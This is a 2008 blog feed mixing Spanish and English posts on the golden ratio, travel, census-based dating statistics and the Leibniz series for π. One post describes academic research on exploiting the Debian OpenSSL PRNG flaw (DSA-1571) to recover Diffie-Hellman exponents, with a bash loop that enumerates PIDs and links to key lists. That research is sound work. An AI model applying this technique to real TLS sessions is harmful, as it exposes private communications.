<p><a href='http://www.lucianobello.com.ar/post/asimov-leibniz-pi-python-floats-y-evadirse-de-la-realidad/'> Hace un par de meses divagué con π</a>. Este semana terminé de leer el libro  <a href='http://www.elbuscon.es/L9788434455313-proporcion-aurea.html'><i>La Proporción Áurea</i> de Mario Livio</a>. Este libro, que evidentemente trata sobre la constante φ (phi), lo compré en Madrid, atraído por la promesa de desasnarme con respecto a la historia de este número.</p>
<p>Primero me gustaría hablarles sobre el libro como tal, el cual resultó sumamente entretenido, aunque tal vez le sobren unas 50 o 100 páginas. Es un paseo por la historia del arte plástico, arquitectónico, escultural y matemático con φ como eje central hilador. Además de dar ejemplos de como se expresan los números en la naturaleza, explica con profundo detalle ciertas propiedades matemáticas en sus numerosos apéndices e invita al lector a pensar sobre porque la matemática encaja también como explicación del universo. Por momentos se va por las ramas pero casi siempre de forma afable y atrapante. Son altamente rescatables los pasajes donde el autor trata con ácida ironía los esfuerzos de los numerólogos de meter a φ lugares arbitrarios cualquiera, como en las dimensiones de Panteón. En mi opinión es un libro altamente recomendable para el aficionado a la matemática y mi calificación (hace mucho que no califico libros con estrellas) es <img src="http://g-ec2.images-amazon.com/images/G/01/x-locale/common/customer-reviews/stars-3-5.gif">.</p>
<p>En segundo lugar quisiera comentar algunas <i>nerdeadas</i> matemáticas inspiradas en el la lectura de este libro. Empezando por lo principio, presentar a quienes no conozcan el número φ, en las palabras de Euclides:<br />
<center><i>Se dice que una línea recta está dividida en el extremo y su proporcional cuando la línea entera es al segmento mayor como el mayor es al menor</i></center><br />
La frase <i>dividida en el extremo y su proporcional</i> hace referencia a la proporción de la que estamos hablando. La definición para mortales es:<br />
<center><img src='http://upload.wikimedia.org/wikipedia/commons/6/65/Image-Golden_ratio_line.png'><br />
La longitud total <em>a+b</em> es al segmento más largo <em>a</em> como <em>a</em> es al segmento más corto <em>b</em><br />
<img src='http://upload.wikimedia.org/math/2/6/a/26aac0b3f0b9b167de1bc16d619472c0.png'></center></p>
<p>El valor en cuestión se puede calcular <a href='http://es.wikipedia.org/wiki/N%C3%BAmero_%C3%A1ureo#Definici.C3.B3n'>despejando algebraicamente tomando b=1</a>, y es:<br />
<img src="http://upload.wikimedia.org/math/1/9/7/19772583149fbdf5a4a4cc751ecf727e.png"><br />
Puede verse que, al igual que π(pi), es un número irracional. Pero, a diferencia de π, es un <a href="http://es.wikipedia.org/wiki/N%C3%BAmero_algebraico">número algebraico</a>, lo que lo emparenta bastante con teoría de números. Sin embargo, su expresión como fracción continua compuesta de solo 1s (unos), hace que converja muy lentamente, convirtiéndolo en <i><a href='http://es.wikipedia.org/wiki/Fracci%C3%B3n_continua#Mejores_aproximaciones_racionales'>el más irracional entre todos los irracionales</a></i>. En términos llanos, φ puede expresarse como la siguiente fracción continua:<br />
<img src="http://upload.wikimedia.org/math/b/3/2/b32ae9361ac6befe1184595499875c6c.png"><br />
Nótese que, cada iteración de esta fracción continua puede expresarse como (los primeros 15 valores, esta secuencia fue resultado de <a href="http://www.lucianobello.com.ar/blog/phi.py">este script</a>):<br />
<tt><br />
2 / 1 = 2<br />
3 / 2 = 1.5<br />
5 / 3 = 1.666666666666666666666666667<br />
8 / 5 = 1.600000000000000000000000000<br />
13 / 8 = 1.625<br />
21 / 13 = 1.615384615384615384615384615<br />
34 / 21 = 1.619047619047619047619047619<br />
55 / 34 = 1.617647058823529411764705882<br />
89 / 55 = 1.618181818181818181818181818<br />
144 / 89 = 1.617977528089887640449438202<br />
233 / 144 = 1.618055555555555555555555556<br />
377 / 233 = 1.618025751072961373390557940<br />
610 / 377 = 1.618037135278514588859416446<br />
987 / 610 = 1.618032786885245901639344262<br />
</tt><br />
Aquel lector atento notará que las fracciones tiene cierto patrón. Por un lado, el numerador de cada reglón pasa a ser el denominador en el siguiente. Los números son:<br />
1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,&#8230;.<br />
¡Exacto! ¡Es la <a href='http://es.wikipedia.org/wiki/Sucesi%C3%B3n_de_Fibonacci'>sucesión de Fibonacci</a>! Cada número es la suma de los dos anteriores. En efecto, siendo F(n) el termino n-ésimo de la serie de Fibonacci:<br />
<img src="http://upload.wikimedia.org/math/2/2/5/225733cd8bc6fd64ffbd6f8c434760bd.png" alt="" /><br />
Así es como puede verse una fuerte relación entre φ y Fibonacci. Y si con Fibonacci se puede calcular la proporción áurea&#8230; ¿cómo es la relación a la inversa?</p>
<p>Con esta formula se puede calcular el valor del término n-ésimo de la serie de Fibonacci:<br />
<img src='http://upload.wikimedia.org/math/9/2/1/921b240159ff0704c70e678ae1ed1eb1.png'><br />
Es fácil reconocer que dentro de esa fórmula está φ.</p>
<p>La propoción áurea φ tiene un montón de raras y divertidas propiedades. Entre las más atractivas se encuentran:<br />
<img src='http://upload.wikimedia.org/math/2/b/8/2b8437ac407db17df893d1aa10cc00e2.png'><br />
<img src='http://upload.wikimedia.org/math/4/a/c/4ac61581f0b9580c002651b191ae7c73.png'><br />
<img src='http://upload.wikimedia.org/math/e/e/c/eecaf197f1e87e5d32c0c4596785b2d8.png'></p>
<p>En lo personal aprendí muchas cosas nuevas sobre la proporción áurea. Pero en el apéndice 9 (como dije, es un libro con muchos apéndices) se comenta un concepto que me voló la cabeza: <a href='http://es.wikipedia.org/wiki/Ley_de_Benford'>la ley de Benford</a>. El tema se toca tangencialmente, promediando el último capítulo, como un ejemplo de como las matemáticas sorprenden. Y sí que lo hacen.</p>
<p>Pero ese será tema del siguiente post.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/%cf%86bonacci/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>On tour (stage 6): Alicante, España</title>
		<link>http://www.lucianobello.com.ar/post/on-tour-stage-6-alicante-espana/</link>
		<comments>http://www.lucianobello.com.ar/post/on-tour-stage-6-alicante-espana/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 14:54:21 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=997</guid>
		<description><![CDATA[Ayer volví de Alicante, una relativamente pequeña ciudad de Valencia. Allí tuvo lugar el III Congrés de Programari Lliure &#8211; Comunitat Valenciana. Un congreso atípico, no solo por el fuerte apoyo político y económico, sino por sus asistentes. Se trata de un evento de software libre para la educación y quienes van son docentes. La [...]]]></description>
			<content:encoded><![CDATA[<p>Ayer volví de <a href="http://en.wikipedia.org/wiki/Alicante">Alicante</a>, una relativamente pequeña ciudad de Valencia. Allí tuvo lugar el <em><a href="http://congreso.lliurex.net/index_es.html">III Congrés de Programari Lliure &#8211; Comunitat Valenciana</a></em>. Un congreso atípico, no solo por el fuerte apoyo político y económico, sino por sus asistentes. Se trata de un evento de software libre para la educación y quienes van son docentes.</p>
<p>La pasé muy bien. Aproveché la oportunidad para ver a <a href="http://chistera.yi.org/~adeodato/">Dato</a>,  comer hasta el hartazgo y visitar la ciudad. Las fotos, en un par de horas.</p>
<p><strong>UPDATE 27NOV 10:56 ARTS:</strong> El álbum de fotos completo <a href="http://www.lucianobello.com.ar/fotos/?galerie=III%20Congreso%20de%20Software%20Libre%20Comunitat%20Valenciana%20-%20Alicante,%20Espa%C3%B1a">aquí</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/on-tour-stage-6-alicante-espana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>On tour (stage 4): A Coruña, España</title>
		<link>http://www.lucianobello.com.ar/post/on-tour-stage-3-a-coruna-espana/</link>
		<comments>http://www.lucianobello.com.ar/post/on-tour-stage-3-a-coruna-espana/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 22:57:11 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=983</guid>
		<description><![CDATA[Ante todo, disculpas por el back-posting. Como dicen por ahí, he vivido a cuerpo de rey en La Coruña. Diego organizó un evento de altísima calidad y se preocupó por todos los detalles. Nos llevó de turismo (recuerden, las fotos en formato analógico tardarán semanas en estar on-line) y a comer a una increíble variedad [...]]]></description>
			<content:encoded><![CDATA[<p>Ante todo, disculpas por el back-posting.</p>
<p>Como dicen por ahí, <a href="http://buscon.rae.es/draeI/SrvltObtenerHtml?LEMA=cuerpo&#038;SUPIND=0&#038;CAREXT=10000&#038;NEDIC=No#a_cuerpo_de_rey.1">he vivido a cuerpo de rey</a> en La Coruña. <a href="http://www.colorcafe.es/galeria/displayimage.php?album=7">Diego</a> organizó <a href="http://jornadas.feval.info/">un evento de altísima calidad</a> y se preocupó por todos los detalles. Nos llevó de turismo (recuerden, las fotos en formato analógico tardarán semanas en estar on-line) y a comer a una increíble variedad de lugares. El pulpo, las croquetas y la carne a la piedra están haciendo de este viaje un recorrido culinario de lo más colorido.</p>
<p>El evento se realizó en la <a href="http://www.udc.es/principal/es/">Universidad de A Coruña</a> y tanto el rector como el resto del personal a sido sumamente hospitalario.</p>
<p>El único traspié fue <a href="http://elladodelmal.blogspot.com/2008/10/aunque-me-cueste-un-rin.html">el golpe de Chema</a>, que después de todo se lo tenía casi que merecido :P.</p>
<p><strong>UPDATE 27NOV 10:59 ARTS:</strong> El álbum de fotos completo <a href="http://www.lucianobello.com.ar/fotos/?galerie=Jornadas%20Seguridad%202008%20-%20A%20Coru%C3%B1a,%20Espa%C3%B1a">aquí</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/on-tour-stage-3-a-coruna-espana/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>la chica bajo la curva (dating pool)</title>
		<link>http://www.lucianobello.com.ar/post/la-chica-bajo-la-curva-dating-pool/</link>
		<comments>http://www.lucianobello.com.ar/post/la-chica-bajo-la-curva-dating-pool/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 04:55:15 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[favorites]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[probability & statistics]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=967</guid>
		<description><![CDATA[Hace poco más de un año, como muchos de ustedes seguramente, leí esta simpática tira de XKCD. En ese momento empecé a buscar datos sobre la población para ver que tan real era ello. La pseudo-investigación se fue de cause y terminé en cualquier parte hasta que lentamente perdí el rumbo sin la más mínima [...]]]></description>
			<content:encoded><![CDATA[<p>Hace poco más de un año, como muchos de ustedes seguramente, leí <a href="http://xkcd.com/314/">esta simpática tira de XKCD</a>. En ese momento empecé a buscar datos sobre la población para ver que tan real era ello. La pseudo-investigación se fue de cause y terminé en cualquier parte hasta que lentamente perdí el rumbo sin la más mínima intención de retomarlo.</p>
<p>Un par de semanas atrás, y por razones que no viene al caso, volví al tema desde cero. En este caso llegué a cosas medianamente concretas (dentro del delirio, claro). Así que aquí están algunos de los resultados que me gustaría compartir con ustedes.</p>
<h1>Introducción:</h1>
<p>Para aquellos que no tienen idea de los que estoy hablando, una breve introducción. En la <a href="http://xkcd.com/">famosa tira cómica</a> se plantea una sencilla hipótesis que puede resumirse en la siguiente pregunta: &#8220;¿a partir de qué edad tus posibilidades de tener pareja empiezan a bajar?&#8221;</p>
<p>Para esto tengamos en cuenta dos elementos:</p>
<ul>
<li> A mayor edad, menores las posibilidades de soltería. Es decir, si una persona tiene 20 años es más probable de que esté soltera a que ocurra lo mismo con alguien de 40 años.
<li> A mayor edad, mayor es el rango de edad de los candidatos. Para poner un ejemplo, no es lo mismo que una persona de 40 salga con otra de 55 que un joven de 18 salga con alguien de 33. Es claro <a href="http://www.smh.com.au/ffximage/2008/10/10/hefholly3_wideweb__470x374,0.jpg">no hay edades para el amor</a>, pero estamos hablando de posibles candidatos. Incluso hablamos de las posibilidades de tener cosas en común, de fijarse en el otro. <a href="http://en.wikipedia.org/wiki/Randall_Munroe">Randall Munroe</a>, el autor de la tira, propone una fórmula a la que llama <a href="http://www.google.com/search?q="standard+creepiness+rule"">&#8220;standard creepiness rule&#8221;</a> (algo así como &#8220;regla estándar de <em>viejo-verdez</em>&#8220;, asquerosidad, o algo del estilo). Según él (y <a href="http://forums.xkcd.com/viewtopic.php?t=11765">muchos parecen coincidir</a>), las personas no salen con alguien que tenga la mitad de su edad más siete. Por ejemplo, en mi caso y con 27 años, mi cota inferior está dada por <em>(27/2)+7=20.5</em>, lo que parece bastante razonable o, al menos, políticamente correcto. Esta misma fórmula también sirve como cota superior, ya que uno es el límite inferior de alguien mayor. Para mi edad corresponde a 40 años porque <em>40=(27-7)*2</em>. Nótese que para una persona de 20 años sus candidatos van entre 17 y 26, mientras que para alguien de 30 sus opciones van entre 22 y 46. Se supone que hay más personas entre el segundo rango que el primero, al menos hasta que la taza de mortalidad empieza a hacer de las suyas.
</ul>
<h1>Primera aproximación:</h1>
<p>Lo interesante de esta situación es la posibilidad de analizarla con datos reales. Son datos que existen, que <a href="http://www.indec.mecon.ar/webcenso/provincias_2/P92.pdf">se preguntan en los censos</a>, pero que no siempre están disponibles para cualquier mortal. Por suerte el <a href="http://">INDEC (Instituto Nacional de Estadística y Censos)</a> provee la información de una forma que, aunque críptica para el recién llegado, resulta interesante cuando uno le encuentra la vuelta. Así que fue <a href="http://www.indec.mecon.ar/webcenso/index.asp">allí</a> a donde fui, a buscar el universo de la población argentina.</p>
<p>Tomando toda la población mayor a 14 años, por edades simples y situación conyugal, calculé la cantidad de personas candidatas para cada edad, tiendo en cuenta los rangos de edades de esos posibles candidatos. Consideremos candidatos a las personas no casadas (solteros, divorciados, separados legales y viudos). Aquí el gráfico:</p>
<p><img src="http://www.lucianobello.com.ar/blog/datingpool_resultado1_abs.png" /></p>
<p>Nótese la forma de <em>W-invertida</em> de la gráfica. El máximo absoluto se encuentra a los 27 años. Es decir, en este momento me encuentro en el cenit de la soltería. Es interesante observar, que después del punto de inflexión de los 41, a los 47 vuelve a haber un máximo. Llamemos a este punto <i><a href="http://www.imdb.com/title/tt0116313/">El club de la divorciadas</a></i> ;). Las estadísticas demuestran que la frase &#8220;la vida da revancha&#8221; tiene fundamento estadístico.</p>
<p>Pero los valor absolutos siempre me parecieron lejanos. Soy de los que disfruta hablar en términos de porcentaje, de probabilidades, es decir, en términos relativos. Así fue como generé este segundo gráfico, con la intención de responder a la pregunta &#8220;Si conozco a 100 personas dentro de mi rango de edad, ¿cuántas estarán no-casadas?&#8221;:</p>
<p><img src="http://www.lucianobello.com.ar/blog/datingpool_resultado1_rel.png" /></p>
<p>Así, la cantidad de personas sin compromisos maritales dentro de un rango, sobre la cantidad total de personas de ese rango da un porcentaje de disponibilidad para cada edad. Acá la cosa se pone algo más pesimista, asegurando una clara caída hasta los 44 años, edad desde la cual se inicia un tímido y poco constante ascenso.</p>
<h1>Segunda aproximación:</h1>
<p>Esta visión es más <em>egocentrista</em> y está pensada en términos totalmente propios. En lo personal, estoy interesado por personas de género femenino, que no solo no estén casadas, sino que además no convivan en pareja (las considero personas en relaciones lo suficientemente fuertes como para quitarlas del conjunto de candidatas). A estas limitaciones le sumaré la restricción geográfica de que tenga residencia dentro de <a href="http://es.wikipedia.org/wiki/Buenos_Aires">mi ciudad natal</a> y alrededores, por lo que solo tendré en cuenta personas dentro de <a href="http://es.wikipedia.org/wiki/Conurbano_bonaerense">Buenos Aires y conurbano bonaerence</a>. La ubicación geográfica puede acarrear cambios culturales que tengan efectos en la situación conyugal de las personas, por lo que considero importante tenerlo en cuenta.</p>
<p>Felizmente INDEC tiene una forma rápida de filtrar por estas restricciones, así que <a href="http://www.lucianobello.com.ar/blog/dto_partido.txt">seleccioné las regiones geográficas</a> y construí <a href="http://www.lucianobello.com.ar/blog/filtro.txt">un filtro</a> donde solo se refiera a personas de sexo femenino que no estén conviviendo con una pareja.</p>
<p>Nuevamente, las mismas gráficas:<br />
<img src="http://www.lucianobello.com.ar/blog/datingpool_resultado2_abs.png"/><br />
<img src="http://www.lucianobello.com.ar/blog/datingpool_resultado2_rel.png"/><br />
Esta vez la <em>W-invertida</em> refleja un máximo absoluto muy diferente al inicial, 53 años. Tal vez se parezca más al modelo que, creo que intuitivamente, proponía <a href="http://en.wikipedia.org/wiki/Randall_Munroe">Munroe</a>. En el gráfico de porcentajes, la caída es mucho más brusca y profunda, perdiendo más de una decena de puntos en su mínimo, que además se da bastante antes, a los 38 años. La pendiente de ascenso es empinada y termina por provocar mayores valores hacia el final de la esperanza de vida que la aproximación anterior.</p>
<h1>Suposiciones y limitaciones:</h1>
<p>Estos análisis son un emporio de suposiciones y limitaciones. Después de todo, dicen que la estadística es la ciencia del prejuicio. Acá una lista de suposiciones que pueden ser ampliamente discutibles:</p>
<ul>
<li>Los homosexuales y religiosos existen en cantidades despreciables. Así que todo hombre soltero busca una mujer y viceversa.
<li> Las personas con alguna relación de pareja no convivientes son consideradas disponibles. El INDEC no pregunta acerca de estado amoroso de las personas.
<li> La cantidad de personas con <em>n y medio</em> edad es la mitad de la cantidad de personas con <em>n</em> edad.
<li> La fórmula &#8220;standard creepiness rule&#8221; es válida. Aunque posiblemente pueda repetirse la experiencia con fómulas que mejor se ajusten a cada cultura. En lo personal, creo tener poco en común con alguien de 40 años. De hecho, formulas independientes para el hombre y la mujer creo que serían más aplicables. Tal vez los hombres tiene un target más orientado a la izquierda del eje. Pero es medio que gusto de cada uno.
<li> La información del censo corresponde a datos de 2001. Extrapolarlos no tiene sentido, ya que insertaría muchísimo error. Lo dicho, lo interesante son los números en proporciones.
<li> La definición de &#8220;candidato&#8221; esta dada por edad, género, posición geográfica y estado conyugal. No se contempló gustos y esas cosas de esas que hace que las parejas funcionen&#8230; o eso dicen :P.
</ul>
<p>Todo lo necesario para repetir la experiencia se encuentra <a href="http://www.lucianobello.com.ar/blog/dating_pool.tar.gz">acá</a>. Enjoy it &#8230; que yo voy a estar buscando a esa chica bajo la curva :)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/la-chica-bajo-la-curva-dating-pool/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>the root of all mistake: the overgeneralization</title>
		<link>http://www.lucianobello.com.ar/post/the-root-of-all-mistake-the-overgeneralization/</link>
		<comments>http://www.lucianobello.com.ar/post/the-root-of-all-mistake-the-overgeneralization/#comments</comments>
		<pubDate>Tue, 30 Sep 2008 02:11:19 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[crypto]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=941</guid>
		<description><![CDATA[Yes, it&#8217;s me again with this DSA-1571 exploitation issue. The discovery, explanation and exploitation of the bug is now part of my final coursework for my postgraduate degree career. So, yes&#8230; sorry. Some weeks ago I started suspecting about the attack to PFS in SSL with EDH. The key point is: the key space is [...]]]></description>
			<content:encoded><![CDATA[<p>Yes, it&#8217;s me again with this DSA-1571 exploitation issue. The discovery, explanation and exploitation of the bug is now part of my final coursework for my <a href="http://cripto.iese.edu.ar/">postgraduate degree career</a>. So, yes&#8230; sorry.</p>
<p>Some weeks ago I started suspecting about <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/">the attack to PFS in SSL with EDH</a>. The key point is: the key space is dependent of the PRNG state. The bug affects the initialization of the PRNG, but the random string has not a pattern by it self. If you ask for many random numbers to the PRNG, you gonna get numbers that differ among them, since they are the output of a hash function of them self. So each random number depends on, besides the PID, the state of the PRNG pool in the moment (in other words, amount of bytes that you already pull from the PRNG pool before)</p>
<p>The <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/">explained attack</a> was based in <a href="http://www.citefa.gov.ar/si6/dh-private-keys.tar.gz">a fixed list of private exponents</a> (which are selected randomly during the <a href="http://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange">DHE handshake</a>), presupposing that all the application call RAND_bytes() the same number of times before get it. To make the list of exponent I ran the <tt>openssl s_client</tt> with all the possible PIDs, hoping that all the applications behaves the same way.</p>
<p>After more tests I notice that that was an overgeneralization. The proof is in the pudding: <a href="http://www.gnu.org/software/wget/">wget</a> and <a href="http://en.wikipedia.org/wiki/CURL">cURL</a>, two simple <a href="http://en.wikipedia.org/wiki/Command_line_interface">CLI</a> file retrievers, gets different exponent between them, even running with the same PID.</p>
<p>I was working on this when I accidentally found <a href="http://www.educatedguesswork.org/2008/08/the_debian_openssl_prng_bug_an.html">a really nice Eric Rescorla&#8217;s post</a> which is deeply related with this. The post goes further and analyzes the interaction between how Apache forks off and how it generates SSL handshakes.</p>
<p>So, I made lists of secret exponents for <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/wget.keys.zip">wget</a>, <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/curl.keys.zip">curl</a>, <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/openssl-s_client.key.zip">openssl s_client</a> and <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/openssl-s_server.key.zip">openssl s_server</a> with a modification version of libssl (appling <a href="http://www.lucianobello.com.ar/exploiting_DSA-1571/dh_tmp_data.patch">this messy patch</a>) and running scripts like this:</p>
<pre>for i in $(seq $((2**15)));
do
  export MAGICPID=$i;
  LD_LIBRARY_PATH="openssl.broken/" LD_PRELOAD="./getpid.so" \
     wget --no-check-certificate https://localhost/ -q  -O /dev/null ;
  echo $i ;
done</pre>
<p>As you can see, I used the <a href="http://metasploit.com/users/hdm/tools/getpid-preload.tar.gz">HD Moore&#8217;s GetPID faker shared library</a> and a normal local Apache with mod_ssl. The broken libssl (which is in .openssl.broken/) store up in /tmp/data.key a <a href="http://en.wikipedia.org/wiki/Comma-separated_values">csv</a> with command name, PID and all the DH components (g, x, y and p).</p>
<p>But this way is farly unconfortable for others SSL deamon servers. Have you got any better idea?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/the-root-of-all-mistake-the-overgeneralization/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>8 days a week</title>
		<link>http://www.lucianobello.com.ar/post/8-days-a-week/</link>
		<comments>http://www.lucianobello.com.ar/post/8-days-a-week/#comments</comments>
		<pubDate>Fri, 19 Sep 2008 15:22:27 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[planet]]></category>
		<category><![CDATA[sorry for my english]]></category>
		<category><![CDATA[wtf?!]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=925</guid>
		<description><![CDATA[Maybe the LHC is robing the planet of angular momentum. Maybe having played with quantum gravity has unpredictable consequences. Who cares the reason, it&#8217;s my dream becoming true. And you, haven&#8217;t got any plans for the extra day in October yet? Luckily it&#8217;s weekend.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lucianobello.com.ar/blog/zimbra-bug.png"><img src="http://www.lucianobello.com.ar/blog/zimbra-bug_.png" alt="Zimbra buggy" align="center" /></a></p>
<p>Maybe the LHC is <a href="http://xkcd.com/162/">robing the planet of angular momentum</a>. Maybe <a href="http://physicsworld.com/cws/article/print/839"> having played with quantum gravity</a> has unpredictable consequences. Who cares the reason, it&#8217;s my dream becoming true.</p>
<p>And you, haven&#8217;t got any plans for the extra day in October yet? Luckily it&#8217;s weekend.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/8-days-a-week/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>in the process of moving</title>
		<link>http://www.lucianobello.com.ar/post/in-the-process-of-moving/</link>
		<comments>http://www.lucianobello.com.ar/post/in-the-process-of-moving/#comments</comments>
		<pubDate>Fri, 12 Sep 2008 20:32:13 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[blogging]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=910</guid>
		<description><![CDATA[Digamos que este post solo tiene sentido si es visto desde mi antiguo gestor de blog. De todas formas decidí portarlo aquí por razones históricas. Desde ya hace tiempo que tenía intensiones de irme de LiveJournal. No es que funcione mal. Es que simplemente tiene cosas que no me cuadran. Me la paso adaptándome a [...]]]></description>
			<content:encoded><![CDATA[<p>Digamos que este post solo tiene sentido si es visto desde <a href="http://lbello.livejournal.com/">mi antiguo gestor de blog</a>. De todas formas decidí portarlo aquí por razones históricas.</p>
<p>Desde ya hace tiempo que tenía intensiones de irme de <a href="http://www.livejournal.com/">LiveJournal</a>. No es que funcione mal. Es que simplemente tiene cosas que no me cuadran. Me la paso adaptándome a lo que puede darme (como el caso de <a href="http://community.livejournal.com/lbello_english/">hack</a> para el bloguear en <a href="http://planet.debian.org">planet.debian.org</a>) y tiene limitaciones de diseño. La publicidad que empezó a surgir a la derecha de la pantalla es la gota que derramó el vaso. No es solo antiestética, sino que si decido tener publicidad es porque espero cobrar por ella.</p>
<p>Dado que <a href="http://www.raqlink.com/">RaqLink</a> puede proveerme un hosting gratuito y que otros amigos han ofrecido espacio y ancho de banda, decidí mudarme y tener mi propio Blog que dependa de mi mismo.</p>
<p>Así fue como me decidí por <a href="http://www.wordpress.com">WordPress</a>. Es lindo, sencillo y flexible. Por otro lado, dudo de su seguridad. Y este último punto no es menor. Veremos que tal anda durante los próximos meses. Si da mucho problema&#8230; volará por otra opción. Escucho opciones.</p>
<p>Una cosa es segura. No más LiveJournal. Este <a href="http://lbello.livejournal.com/">blog (es decir, lbello.livejournal.com)</a> deja de existir como tal. Puedes acceder al nuevo en <a href="http://www.lucianobello.com.ar/">www.lucianobello.com.ar</a>. Todos los post antiguos está migrados. Incluso los comentarios. En la pasada se han perdido los tags y el threading de los comentarios. Los primeros irán emergiendo con el correr del tiempo y de mi ratos libros. El segundo está definitivamente perdido. Aunque los nuevos comentarios si pueden anidarse, los viejos han quedado planos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/in-the-process-of-moving/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Asimov, Leibniz, pi, python, floats y evadirse de la realidad</title>
		<link>http://www.lucianobello.com.ar/post/asimov-leibniz-pi-python-floats-y-evadirse-de-la-realidad/</link>
		<comments>http://www.lucianobello.com.ar/post/asimov-leibniz-pi-python-floats-y-evadirse-de-la-realidad/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 00:10:00 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[books & reading]]></category>
		<category><![CDATA[favorites]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[π]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=896</guid>
		<description><![CDATA[La matemática tiene cosas sorprendentemente lindas. Y una de las que siempre me gustó de forma especial es la formula de Leibniz para el cálculo de π. También conocida como la serie de Gregory-Leibniz es una simpática manera de expresar el más famoso de los números irracionales: O para aquellos no gustan de las notación [...]]]></description>
			<content:encoded><![CDATA[<p>La matemática tiene cosas sorprendentemente lindas. Y una de las que siempre me gustó de forma especial es <a href="http://en.wikipedia.org/wiki/Leibniz_formula_for_pi">la formula de Leibniz para el cálculo de π</a>. También conocida como la serie de Gregory-Leibniz es una simpática manera de expresar el más famoso de los números irracionales:<br />
<img src="http://www.lucianobello.com.ar/blog/pi2.png" alt="" align="middle" /><br />
O para aquellos no gustan de las notación <a href="http://en.wikipedia.org/wiki/Summation#Capital-sigma_notation">sigma-grande</a>:<br />
<img src="http://www.lucianobello.com.ar/blog/pi1.png" alt="" align="middle" /><br />
Como verán, se trata de una serie sumamente simple y elegante. Y como suele ocurrir con estas cosas, aparecen en la vida de uno en momentos extraños, casi que al rescate.</p>
<p><img title="pi" src="http://imgs.xkcd.com/comics/pi.jpg" alt="" width="469" height="247" align="left" />Anoche me hallé frente a la biblioteca buscando nada en espacial. Necesitaba despejar la cabeza, olvidarme de los asuntos terrenales asociados con las complejas interacciones y relaciones humanas.</p>
<p>Fue en esa circunstancia que me encuentro con <em><a href="http://www.tematica.com.ar/libros/ciencias_de_la_salud__naturales_y_divulgacion_cientifica--7/divulgacion_cientifica--1/en_general--1/de_los_numeros_y_su_historia--119120.htm">De los números y su historia</a></em> de <a href="http://es.wikipedia.org/wiki/Isaac_Asimov">Isaac Asimov</a> (que puede ser descargado desde <a href="http://www.librosmaravillosos.com/delosnumerosysuhistoria/index.html">aquí</a>). Mientras lo hojeaba vi la formula de Leibniz, promediando el <a href="http://www.librosmaravillosos.com/delosnumerosysuhistoria/capitulo06.html">capítulo 6</a> e inmediatamente atrajo mi atención.</p>
<p>Después de expresar la serie, Asimov explica:</p>
<p><em>&lt;&lt;Ustedes podrán condenar mi falta de perseverancia, pero los invito a calcular la serie de Leibniz simplemente hasta donde la hemos escrito más arriba, es decir hasta 4/15. Incluso pueden enviarme una postal para darme el resultado. Si al terminar se sienten desilusionados al descubrir que su respuesta no está tan cerca de π como lo está el valor 355/113, no se den por vencidos. Sigan sumando términos. Sumen 4/17 al resultado anterior, luego resten 4/19, después sumen 4/21 y resten 4/23, etcétera. Pueden seguir hasta donde lo deseen, y si alguno de ustedes descubre cuántos términos se requieren para mejorar el valor 355/113, escríbanme unas líneas y no dejen de decírmelo. &gt;&gt;</em><br />
